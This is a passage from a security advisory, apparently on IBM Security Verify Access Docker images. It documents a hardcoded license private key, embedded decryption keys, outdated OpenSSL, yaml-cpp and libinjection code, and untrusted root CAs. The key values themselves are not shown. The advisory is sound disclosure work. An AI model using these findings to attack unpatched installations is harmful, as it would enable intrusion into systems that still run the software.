# Start the LDAP server. \n169 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0\n170 }\n[...]\n260 #############################################################################\n261 # Main line. \n262 \n263 #\n264 # Attempt to download the configuration data from the configuration service. \n265 #\n266 \n267 #\n268 # Wait for the snapshot file. \n269 #\n270 \n271 download_from_cfgsvc 1\n[...]\n305 #\n306 # Restart the OpenLDAP server. \n307 #\n308 \n309 restart_openldap_server\n[/code]\n\n\n\n## Details - Hardcoded private key for IBM ISS (ibmcom/verify-access)\n\nIt was observed that the ibmcom/verify-access Docker image contains a hardcoded private key used by the license client iss-lum:\n\n kali-docker# pwd \n /home/user/ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/lum\n \n kali-docker# ls -al \n total 492 \n drwxr-xr-x 2 root root 4096 Jun 8 01:43 . \n drwxr-xr-x 25 root root 4096 Jun 8 04:09 .. \n -rwxr-xr-x 1 root root 1296 Oct 20 2016 externalTrustSettings.xml\n -rwxr-xr-x 1 root root 445080 Oct 20 2016 iss-external.kdb\n -rwxr-xr-x 1 root root 129 Oct 20 2016 iss-external.sth\n -rwxr-xr-x 1 root root 100 Oct 20 2016 iss-lum.conf\n -rwxr-xr-x 1 root root 3649 Oct 20 2016 isslum-usLocalSettings.xml\n -rwxr-xr-x 1 root root 725 Oct 20 2016 lum_triggers.conf\n -rwxr-xr-x 1 root root 1858 Oct 20 2016 private.pem\n -rwxr-xr-x 1 root root 451 Oct 20 2016 public.pem\n -rwxr-xr-x 1 root root 3926 Oct 20 2016 .udrc\n -rwxr-xr-x 1 root root 806 Oct 20 2016 update-settings.conf\n -rwxr-xr-x 1 root root 7352 Oct 20 2016 update-status.xsd\n -rwxr-xr-x 1 root root 561 Jun 8 01:32 UpdateTypeNames.config\n -rwxr-xr-x 1 root root 0 Dec 31 1969 .wh..wh..opq\n\n kali-docker# sha256sum private.pem public.pem\n e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d private.pem\n 3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20 public.pem\n\nWhen analyzing the podman instance verify-access, we can confirm the key has not been updated:\n\n [isam@verify-access lum]$ sha256sum private.pem public.pem\n e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d private.pem\n 3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20 public.pem\n [isam@verify-access lum]$\n\nThe private key appears to be used by several programs:\n\n- - /opt/dca/bin/dcatool\n- - /usr/bin/isslum-modstatus\n- - /usr/sbin/iss-lum\n- - /usr/sbin/mesa_config\n- - /usr/sbin/mesa_eventsd\n- - /usr/sbin/isslum-installer\n\n\nThe license client is using outdated codes and may contain vulnerabilities. \n\nThe keys are hardcoded and have not been updated for 6 years, which brings a question how the license client is being maintained. \n\n\n\n## Details - dcatool using an outdated OpenSSL library (ibmcom/verify-access)\n\nIt was observed that the `dcatool` program located in `/opt/dca/bin` is linked with an outdated OpenSSL library located in the non-standard directory `/opt/dca/lib`:\n\n- From a live system:\n\n [isam@verify-access bin]$ pwd\n /opt/dca/bin\n [isam@verify-access bin]$ ls -la\n total 580\n drwxr-xr-x 2 root root 4096 Jun 8 13:43 . \n drwxr-xr-x 4 root root 4096 Jun 8 13:43 .. \n -rwxr-xr-x 1 root root 373208 Jun 8 13:31 dcatool\n -rwxr-xr-x 1 root root 207872 Jun 8 13:31 dcaupdate\n [isam@verify-access bin]$ ldd dcatool | grep ssl\n libssl.so.10 =\u003e /opt/dca/lib/libssl.so.10 (0x00007fafcfb1e000)\n libssl.so.1.1 =\u003e /lib64/libssl.so.1.1 (0x00007fafcda45000)\n [isam@verify-access bin]$ ldd dcaupdate | grep ssl\n libssl.so.10 =\u003e /opt/dca/lib/libssl.so.10 (0x00007fe04980d000)\n libssl.so.1.1 =\u003e /lib64/libssl.so.1.1 (0x00007fe047734000)\n\nAnalysis of the library:\n\n [isam@verify-access lib]$ pwd\n /opt/dca/lib\n [isam@verify-access lib]$ ls -la\n total 4156\n drwxr-xr-x 2 root root 4096 Jun 8 13:43 . \n drwxr-xr-x 4 root root 4096 Jun 8 13:43 .. \n -rwxr-xr-x 1 root root 1252080 Jun 8 13:31 libboost_regex.so.1.53.0\n -rwxr-xr-x 1 root root 2521496 Jun 8 13:31 libcrypto.so.10\n lrwxrwxrwx 1 root root 24 Jun 8 13:43 libicudata.so.54 -\u003e /usr/lib64/libicudata.so\n lrwxrwxrwx 1 root root 24 Jun 8 13:43 libicui18n.so.54 -\u003e /usr/lib64/libicui18n.so\n lrwxrwxrwx 1 root root 22 Jun 8 13:43 libicuuc.so.54 -\u003e /usr/lib64/libicuuc.so\n -rwxr-xr-x 1 root root 470328 Jun 8 13:31 libssl.so.10\n [isam@verify-access lib]$ sha256sum *so*\n a4b9594f78c0e5cfa14c171e07ae439dccd0ef990db8c4b155c68fde43a8d9a9 libboost_regex.so.1.53.0\n 8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c libcrypto.so.10\n 07796e84fc3618a64259cfff7a896e57fc90f6b270d690d953f4792c2b7e21ac libicudata.so.54\n 49e6f6b12d118118c7d17cec26f80c81b39c89ea01a30eaf26abb07859d909fe libicui18n.so.54\n 1504c73f432bc24414c0ca69d29bdb04c04ba2269b752c320306cb25aadd5972 libicuuc.so.54\n 523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0 libssl.so.10\n [isam@verify-access lib]$\n\nWe can retrieve these 2 libraries inside the `ibmcom/verify-access` image and identify the version of OpenSSL:\n\n kali-docker# sha256sum **/libssl.so.10 \n 523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10\n kali-docker# sha256sum **/libcrypto.so.10 \n 8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10\n \n kali-docker# kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10|grep -i openssl\n [...][\n OpenSSL 1.0.2k-fips 26 Jan 2017\n [...]\n kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10|grep -i openssl\n OpenSSL 1.0.2k-fips 26 Jan 2017\n [...]\n\nThe libraries located in `/opt/dca/lib` are completely outdated and are vulnerable to known CVEs. \n\nThese libraries are likely used by IBM-specific programs. \n\nThe Docker images contain known vulnerabilities. \n\n\n\n## Details - iss-lum using an outdated OpenSSL library (ibmcom/verify-access) and hardcoded keys\n\nIt was observed that the `/usr/sbin/iss-lum` program from the verify-access Docker image contains outdated OpenSSL code (from the library 0.9.7) from 2007. The iss-lum program is the license client that will connect to external servers. \n\nThis program runs inside the instance:\n\n [isam@verify-access /]$ ps -auxw\n USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n isam 1 0.0 0.0 12060 132 ? Ss Oct04 0:00 /bin/sh /sbin/bootstrap.sh\n isam 313 0.0 0.0 24532 68 ? Ss Oct04 0:00 /usr/sbin/mesa_crashd\n isam 315 0.1 0.0 24532 1032 ? S Oct04 1:57 /usr/sbin/mesa_crashd\n isam 319 0.0 0.0 69160 144 ? Ss Oct04 0:00 /usr/sbin/mesa_syslogd\n isam 321 0.0 0.0 69224 1280 ? S Oct04 0:00 /usr/sbin/mesa_syslogd\n isam 400 0.0 0.0 102760 200 ? Ss Oct04 0:00 /usr/sbin/mesa_eventsd -m 1000\n isam 401 0.0 0.0 710856 316 ? Sl Oct04 0:00 /usr/sbin/mesa_eventsd -m 1000\n pgresql 435 0.0 0.0 188380 7016 ? Ss Oct04 0:02 /usr/bin/postgres -D /var/postgresql/config/data\n pgresql 436 0.0 0.0 138892 184 ? Ss Oct04 0:00 postgres: logger \n pgresql 447 0.0 0.0 188380 1600 ? Ss Oct04 0:00 postgres: checkpointer \n pgresql 448 0.0 0.0 188516 1288 ? Ss Oct04 0:01 postgres: background writer \n pgresql 449 0.0 0.0 188380 1468 ? Ss Oct04 0:01 postgres: walwriter \n pgresql 450 0.0 0.0 189112 1864 ? Ss Oct04 0:01 postgres: autovacuum launcher \n pgresql 451 0.0 0.0 139024 588 ? Ss Oct04 0:05 postgres: stats collector \n pgresql 452 0.0 0.0 188916 1016 ? Ss Oct04 0:00 postgres: logical replication launcher \n www-data 548 0.4 4.8 4920352 387128 ? SLl Oct04 7:53 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/default/java.security -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/lmi -Xbootclasspath/a:/opt/pdjrte/java/export/rgy/com.tivoli.pd.rgy.jar:/opt/ibm/wlp/usr/servers/runtime/lib/global/xercesImpl.jar -Dorg.osgi.framework.system.packages.extra=com.tivoli.pd.rgy,com.tivoli.pd.rgy.authz,com.tivoli.pd.rgy.exception,com.tivoli.pd.rgy.ldap,com.tivoli.pd.rgy.nls,com.tivoli.pd.rgy.util,com.ibm.misc,com.ibm.net.ssl.www2.protocol.https,com.sun.jndi.ldap,org.apache.xml.serialize -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 --add-exports java.base/sun.security.action=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.ldap=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.url.ldap=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.naming/javax.naming.spi=ALL-UNNAMED --add-opens jdk.naming.rmi/com.sun.jndi.url.rmi=ALL-UNNAMED --add-opens java.naming/javax.naming=ALL-UNNAMED --add-opens java.rmi/java.rmi=ALL-UNNAMED --add-opens java.sql/java.sql=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/java.awt.image=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED -jar /opt/IBM/wlp/bin/tools/ws-server.jar default --clean\n isam 748 0.0 0.0 270992 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap\n ldap 753 0.0 4.3 1314228 346548 ? Sl Oct04 0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap\n isam 757 0.0 0.0 271124 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground\n ivmgr 762 0.0 0.1 1070184 10860 ? Sl Oct04 0:01 /opt/PolicyDirector/bin/pdmgrd -foreground\n isam 805 0.0 0.0 71488 316 ? Ss Oct04 0:00 /usr/sbin/iss-lum\n isam 806 0.0 0.0 343920 5264 ? Sl Oct04 0:00 /usr/sbin/iss-lum\n root 811 0.0 0.0 41984 2416 ? Ss Oct04 0:00 /usr/sbin/crond\n isam 834 0.0 0.0 128400 2076 ? Ssl Oct04 0:00 /usr/sbin/rsyslogd\n root 859 0.0 0.0 174348 96 ? Ss Oct04 0:00 /usr/sbin/wga_servertaskd\n ivmgr 861 0.0 0.0 276544 84 ? Sl Oct04 0:00 /usr/sbin/wga_servertaskd\n isam 870 0.0 0.0 273920 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground\n isam 877 2.1 0.2 563872 18472 ? Sl Oct04 38:43 wga_notifications -foreground\n isam 889 0.0 0.0 12060 80 ? S Oct04 0:00 /bin/sh /sbin/bootstrap.sh\n isam 892 0.0 0.0 23068 24 ? S Oct04 0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log\n isam 217541 4.0 0.0 19248 3836 pts/0 Ss 21:37 0:00 bash\n isam 217564 0.0 0.0 54808 4080 pts/0 R+ 21:37 0:00 ps -auxww\n [isam@verify-access /]$ \n\nThis program appears to establish connections to remote servers to check the license. \n\nThe OpenSSL library embedded inside the program is completely outdated (0.9.7j - Feb 2007):\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nFurthermore, this program includes several hardcoded keys to decrypt the private key in `/etc/lum/private.pem`. In the function ctor_009:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nSome decryption keys have been identified within the binaries used to check the license:\n\nFunction `sub_4806C0`:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nFunction `ctor_009`:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThe Docker images contain known vulnerabilities. \n\n\n\n## Details - Outdated \"IBM Crypto for C\" library\n\nIt was observed that the IBM Crypto for C library is installed inside all the Docker images in the directory `/usr/local/ibm/gsk8_64`:\n\nFor example, from the Docker image verify-access-wrp:\n\n kali-docker# cd ./_verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a \n kali-docker# find usr/local/ibm \n usr/local/ibm\n usr/local/ibm/gsk8_64\n usr/local/ibm/gsk8_64/lib64\n usr/local/ibm/gsk8_64/lib64/libgsk8cms_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8kicc_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8p11_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8ssl_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8drld_64.so\n usr/local/ibm/gsk8_64/lib64/C\n usr/local/ibm/gsk8_64/lib64/C/icc\n usr/local/ibm/gsk8_64/lib64/C/icc/icclib\n usr/local/ibm/gsk8_64/lib64/C/icc/icclib/libicclib084.so\n usr/local/ibm/gsk8_64/lib64/C/icc/icclib/ICCSIG.txt\n usr/local/ibm/gsk8_64/lib64/libgsk8ldap_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8iccs_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8valn_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8acmeidup_64.so\n usr/local/ibm/gsk8_64/lib64/N\n usr/local/ibm/gsk8_64/lib64/N/icc\n usr/local/ibm/gsk8_64/lib64/N/icc/icclib\n usr/local/ibm/gsk8_64/lib64/N/icc/icclib/libicclib085.so\n usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt\n usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt\n usr/local/ibm/gsk8_64/lib64/libgsk8dbfl_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8km2_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8km_64.so\n usr/local/ibm/gsk8_64/lib64/libgsk8sys_64.so\n usr/local/ibm/gsk8_64/docs\n usr/local/ibm/gsk8_64/copyright\n usr/local/ibm/gsk8_64/inc\n usr/local/ibm/gsk8_64/bin\n usr/local/ibm/gsk8_64/bin/gsk8capicmd_64\n usr/local/ibm/gsk8_64/bin/gsk8ver_64\n usr/local/ibm/.wh..wh..opq\n kali-docker#\n\nThis library is based on the opensource libraries zlib and OpenSSL. It was built in October 2020, as shown below:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nFurthermore, the copyrights from the `/usr/local/ibm/gsk8_64/lib64/N/icc/ReadMe.txt` file indicate:\n\n- - (C) 1995-2004 Jean-loup Gailly and Mark Adler - for zlib\n- - Copyright (c) 1998-2007 The OpenSSL Project. All rights reserved. - for OpenSSL\n\nThe `/usr/local/ibm/gsk8_64/lib64/N/icc/icclib/ICCSIG.txt` file confirms the libraries were generated 2 years ago:\n\n #\n # IBM Crypto for C. \n # ICC Version 8.7.37.0\n #\n # Note the signed library contains a copy of cryptographic code from OpenSSL (www.openssl.org),\n # zlib (www.zlib.org)\n # and IBM code (www.ibm.com)\n #\n # Platform AMD64_LINUX\n #\n # Generated Tue Oct 13 12:09:08 2020\n #\n # File name=libicclib085.so\n # File Hash (SHA256)=bbbb89eae43b11aba9a132a53207ca532236cd064b6aa0b84ea878a0b9bf8b4f\n #\n FILE=906082662e6b3a50fc01a95f2d1bb29d3a54349ad76da59fc8555fadadae4e5305463810ece2064174129a95e89352a02d8c72c7397de2d01b38220c3222796992785b8d99401a65b0894778a2b05760ae1a6919a97e259d270ff5e6996a14fc29e48a848c59e14f2aa758e8e26355faeff60eca0562ad643a86b8fdaa6afd10190190d411a584679ff1ee93caf5039ef070d411040fc828e4b8f79b8bb67d3ec1708c8274c0c9f6899399492fa52c73574065f2684dcc336c41eee2b808b42b0a01578b32fae245b761580240e3b53359767634ba76018f46a8d732c21ec24bf1a979aa11af20b646f166d5658efabcebdf6283fbdc793d82636e89bf2ac4ad\n #\n SELF=10fefb48a0666936f23aceae7805a7dcefb06a9a2282fea0693610a98ccf12cab8bfef973cda13450afde785960eccb2637adaf15f5e795cdb21f667704ba30ebf6a6a077f29a3574d0792ef633172d324a5b26adc257d3380ffd1cf7698bc560fb52d5c083ffa85fe623e059f7c8d67a8043ca75d8808c082de29bb8e1c46a01421039e557699cf7747c07a22a0e1612b0e4de8836833bebc888269dc46adf0ed5ba0107da2e683554433ed29ab840d16af34581682e35a30d11ff10fbd8ba0cc7ae6a62b75c3ba4758863e5a5a4cf00371040358a732a56ecf7dd04523c85544755c6f0f42447f383ec22e0ee4d79bb3c6e6defc4319f555afaaa1cfc8642f\n #\n #Do not edit before this line\n #\n # Global Settings\n ICC_ALLOW_2KEY3DES=1\n\nThe OpenSSL code and the zlib code are at least 2 year old and vulnerable to CVEs. \n\nThe Docker images contain known vulnerabilities. \n\n\n\n## Details - Webseald using outdated code with remotely exploitable vulnerabilities\n\nIt was observed that the webseald program borrows codes provided by open-source libraries containing outdated and vulnerable code. \nThis program can be found inside these 2 images:\n\n- - verify-access\n- - verify-access-wrp\n\nWebseald is reachable over the network. \n\nLibraries used by webseald:\n\n kali-docker# ldd ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/opt/pdweb/bin/webseald\n linux-vdso.so.1 (0x00007fffe59f3000)\n libwsdaemon.so =\u003e not found\n libamwoauth.so =\u003e not found\n libamweb.so =\u003e not found\n libamwebrte.so =\u003e not found\n libpdsvcutl.so =\u003e not found\n libtivsec_msg.so =\u003e not found\n libpdz.so =\u003e not found\n libdl.so.2 =\u003e /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61885e8000)\n libtivsec_xslt4c.so.112 =\u003e not found\n libtivsec_xml4c.so =\u003e not found\n libtivsec_yamlcpp.so =\u003e not found\n libam_gssapi_krb5.so =\u003e not found\n libmodsecurity.so.3 =\u003e not found\n libamwredismgr.so =\u003e not found\n libhiredis.so.0.15 =\u003e not found\n libhiredis_ssl.so.0.15 =\u003e not found\n libpthread.so.0 =\u003e /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f61885df000)\n libstdc++.so.6 =\u003e /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f6188200000)\n libm.so.6 =\u003e /lib/x86_64-linux-gnu/libm.so.6 (0x00007f6188504000)\n libgcc_s.so.1 =\u003e /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f61884e4000)\n libc.so.6 =\u003e /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6187e00000)\n /lib64/ld-linux-x86-64.so.2 (0x00007f6188604000)\n\nThe IBM-specific libraries (*.so*) have been analyzed only in surface to detect low-hanging fruits, and several vulnerabilities were found, including some pre-auth vulnerabilities. \n\nWebseal is directly reachable from the network but uses the outdated and vulnerable code. \n\nThe quality of the code is extremely inequal between the libraries - some code is very well implemented (with secure calls to -cpy functions) and some code is vulnerable (with insecure calls to -cpy functions). These libraries contain some legacy codes that are not up to date with the current security standards. \n\nDue to the lack of time, only a superficial analysis was done - an attacker with time will likely find 0-day vulnerabilities in these libraries. \n\n\n\n### Libmodsecurity.so - 1 non-assigned CVE vulnerability\n\nThe `/opt/pdweb/lib/libmodsecurity.so.3` library (b939c5db3ca94073188ea6eb360049f58f9e9d2a9c7d72bc052d9ee47cc5eccc) contains a vulnerable libinjection library. The version used is 3.9.2:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThis version (3.9.2) is known to have several vulnerabilities. For example, a pre-authentication DoS (https://github.com/SpiderLabs/ModSecurity/issues/1412) from 2017 (no CVE). \n\nThis version is confirmed to be vulnerable: https://github.com/client9/libinjection/issues/124. \n\n\n\n### libtivsec_yamlcpp.so - 4 CVEs\n\nThis IBM library is entirely based on yaml-cpp. Yaml-cpp is available at https://github.com/jbeder/yaml-cpp. \n\nSeveral vulnerabilities have been patched in 2020 (CVE-2017-5950, CVE-2018-20573, CVE-2018-20574 and CVE-2019-6285) in the yaml-cpp library. \n\nThis IBM-specific library is located at `/usr/lib64/libtivsec_yamlcpp.so` and `/opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so` (cf1b80c501a2f42948322567477c2956155e244d645e3962985569c4496ffad90). \n\nWhen doing reverse engineering on this file, it appears no security patches have been imported from the official yaml-cpp repository. \n\nWe can identify several methods from the yaml-cpp library. For example, the method `SingleDocParser::HandleFlowMap()` found in `/usr/lib64/libtivsec_yamlcpp.so` and `/opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so`:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nWhen analyzing the security patches available at https://github.com/jbeder/yaml-cpp/pull/807 and https://github.com/jbeder/yaml-cpp/pull/807/files/dbd5ac094622ef3b3951e71c31f59e02c930dc4b, there is no reference in the compiled code regarding a `DeepRecursion` class or any method implemented in the security patches. This `DeepRecursion` class is included in the now-patched versions. \n\nThe IBM-specific library is using an outdated and vulnerable version of yaml-cpp, without security patches, e.g. 4 CVEs patched in yaml-cpp - https://github.com/jbeder/yaml-cpp/pull/807. \n\nAnalysis of the security patches implementing new classes:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nFurthermore, it is possible to analyze the rest of the security patches from the git repository and compare them with the assembly code from the `libtivsec_yamlcpp.so` library. This allows us to conclude the security patches have not been imported into the `libtivsec_yamlcpp.so` library. \n\nSource code providing security patches:\n\nMethod `HandleNode()` from the security patches and the patched versions of yaml-cpp:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nWith the assembly code extracted from the `libtivsec_yamlcpp.so` library and rebuilt into pseudo-code, we can identify the same logic and the same instructions (minus some errors due to the reconstruction from assembly to C++) - with the lack of the patch located on the line 51. \n\nPseudo-code of method `HandleNode()`:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThis allows us to conclude that the `libtivsec_yamlcpp.so` library is vulnerable to these 4 CVEs. \n\n\n\n### libtivsec_xml4c.so - outdated Xerces-C library\n\nThis library (8b3d3d2dcb1152966d097e91e08fa1dc4300f3653f1c264eeecaf20bb1550832) is located in `/usr/lib64/libtivsec_xml4c.so` and `/opt/ibm/Tivoli/SecUtilities/lib/libtivsec_xml4c.so`) and uses outdated code from XML4C 5.5.0 that includes a version of Xerces-C (XML4C doesn\u0027t exist anymore and the latest release appears to be from 2007-2008). \n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThis version appears to be quite outdated and is likely vulnerable to known CVEs (https://xerces.apache.org/xerces-c/secadv.html). \n\n\n\n## Details - Outdated and untrusted CAs used in the Docker images\n\nIt was observed that the Docker images will trust invalid Certificate Authorities (CA). \n\nUsing the Paranoia program, we can list the invalid, expired and revoked CAs that are trusted inside the 4 Docker images. \n\nIt appears that these 4 Docker images trust some invalid, revoked or untrusted CAs. \n\nResults for ibmcom/verify-access:10.0.4.0:\n\n\u003cpre\u003e\nkali-docker# paranoia inspect ibmcom/verify-access:10.0.4.0\nCertificate CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=VeriSign Trust Network+OU=(c) 2006 VeriSign\\, Inc. - For authorized use only,O=VeriSign\\, Inc.,C=US\n removed from Mozilla trust store, no reason given\n\nCertificate CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US\n expires soon ( expires on 2023-03-08T12:00:00Z, 19 weeks 2 days until expiry)\n\nCertificate CN=Test CA,O=genua mbh\n expired ( expired on 2014-10-23T08:22:40Z, 8 years 3 days since expiry)\n\nCertificate CN=Cybertrust Global Root,O=Cybertrust\\, Inc\n expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. \n\nCertificate CN=DST Root CA X3,O=Digital Signature Trust Co. \n expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)\n removed from Mozilla trust store, no reason given\n\nCertificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR\n expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)\n\nCertificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign\n expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: Ownership transferred to GTS:\nhttps://bug1325532.bmoattachments.org/attachment.cgi?id=8844281\n\nCertificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR\n removed from Mozilla trust store, no reason given\n\nCertificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL\n expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)\n\nCertificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU\n removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1410277\n\nCertificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign\n expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: Ownership transferred to GTS:\nhttps://bug1325532.bmoattachments.org/attachment.cgi?id=8844281\n\nCertificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR\n removed from Mozilla trust store, no reason given\n\nCertificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU\n removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1410277\n\nCertificate CN=Cybertrust Global Root,O=Cybertrust\\, Inc\n expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. \n\nCertificate CN=DST Root CA X3,O=Digital Signature Trust Co. \n expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)\n removed from Mozilla trust store, no reason given\n\nCertificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR\n expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)\n\nCertificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL\n expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry)\n\nCertificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign\n expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: Ownership transferred to GTS:\nhttps://bug1325532.bmoattachments.org/attachment.cgi?id=8844281\n\nCertificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR\n removed from Mozilla trust store, no reason given\n\nCertificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL\n expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)\n\nCertificate CN=sks-keyservers.net CA,O=sks-keyservers.net 